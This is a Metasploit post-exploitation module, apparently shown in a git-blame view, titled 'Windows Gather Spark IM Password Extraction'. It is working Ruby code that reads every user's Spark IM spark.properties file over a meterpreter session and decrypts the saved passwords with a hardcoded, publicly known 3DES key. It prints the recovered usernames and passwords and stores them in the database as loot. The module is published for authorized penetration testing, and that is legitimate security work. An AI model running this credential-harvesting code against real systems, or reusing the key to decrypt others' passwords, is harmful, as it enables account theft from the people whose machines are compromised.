2012-12-26 23:28:23 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-12-26 23:28:23 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'openssl'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
2013-09-05 18:41:25 +00:00
|
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Windows Gather Spark IM Password Extraction',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will enumerate passwords stored by the Spark IM client.
|
|
|
|
The encryption key is publicly known. This module will not only extract encrypted
|
|
|
|
password but will also decrypt password using public key.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>',
|
|
|
|
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
|
|
|
|
],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://adamcaudill.com/2012/07/27/decrypting-spark-saved-passwords/']
|
|
|
|
]
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
# decrypt spark password
|
|
|
|
def decrypt(hash)
|
|
|
|
# code to decrypt hash with KEY
|
|
|
|
encrypted = hash.unpack("m")[0]
|
|
|
|
key = "ugfpV1dMC5jyJtqwVAfTpHkxqJ0+E0ae".unpack("m")[0]
|
|
|
|
|
|
|
|
cipher = OpenSSL::Cipher::Cipher.new 'des-ede3'
|
|
|
|
cipher.decrypt
|
|
|
|
cipher.key = key
|
|
|
|
|
|
|
|
password = cipher.update encrypted
|
|
|
|
password << cipher.final
|
|
|
|
|
|
|
|
password = ::Rex::Text.to_utf8(password)
|
|
|
|
|
|
|
|
user, pass = password.scan(/[[:print:]]+/)
|
|
|
|
if pass.nil? or pass.empty?
|
|
|
|
print_status("Username found: #{user}, but no password")
|
|
|
|
pass = ''
|
|
|
|
else
|
|
|
|
print_good("Decrypted Username #{user} Password: #{pass}")
|
|
|
|
end
|
|
|
|
|
|
|
|
store_creds(user, pass)
|
|
|
|
end
|
|
|
|
|
|
|
|
def store_creds(user, pass)
|
|
|
|
if db
|
|
|
|
report_auth_info(
|
|
|
|
:host => client.sock.peerhost,
|
|
|
|
:port => 5222,
|
|
|
|
:ptype => 'password',
|
|
|
|
:sname => 'spark',
|
|
|
|
:user => user,
|
|
|
|
:pass => pass,
|
|
|
|
:duplicate_ok => true,
|
|
|
|
:active => true
|
|
|
|
)
|
|
|
|
print_status("Loot stored in the db")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# main control method
|
|
|
|
def run
|
|
|
|
grab_user_profiles().each do |user|
|
|
|
|
unless user['AppData'].nil?
|
|
|
|
accounts = user['AppData'] + "\\Spark\\spark.properties"
|
|
|
|
|
|
|
|
# open the file for reading
|
|
|
|
config = client.fs.file.new(accounts, 'r') rescue nil
|
|
|
|
next if config.nil?
|
|
|
|
print_status("Config found for user #{user['UserName']}")
|
|
|
|
|
|
|
|
# read the contents of file
|
|
|
|
contents = config.read
|
|
|
|
|
|
|
|
# look for lines containing string 'password'
|
|
|
|
password = contents.split("\n").grep(/password/)
|
|
|
|
if password.nil?
|
|
|
|
# file doesn't contain a password
|
|
|
|
print_status("#{file} does not contain any saved passwords")
|
|
|
|
# close file and return
|
|
|
|
config.close
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# store the hash close the file
|
|
|
|
password = password.delete_if {|e| e !~ /password.+=.+=\r/}
|
|
|
|
password.each do | pass |
|
|
|
|
if pass.nil?
|
|
|
|
next
|
|
|
|
end
|
|
|
|
|
|
|
|
hash = pass.split("password").join.chomp
|
|
|
|
print_status("Spark password hash: #{hash}") if datastore['VERBOSE']
|
|
|
|
|
|
|
|
# call method to decrypt hash
|
|
|
|
decrypt(hash)
|
|
|
|
end
|
|
|
|
config.close
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2012-12-27 03:16:04 +00:00
|
|
|
end
|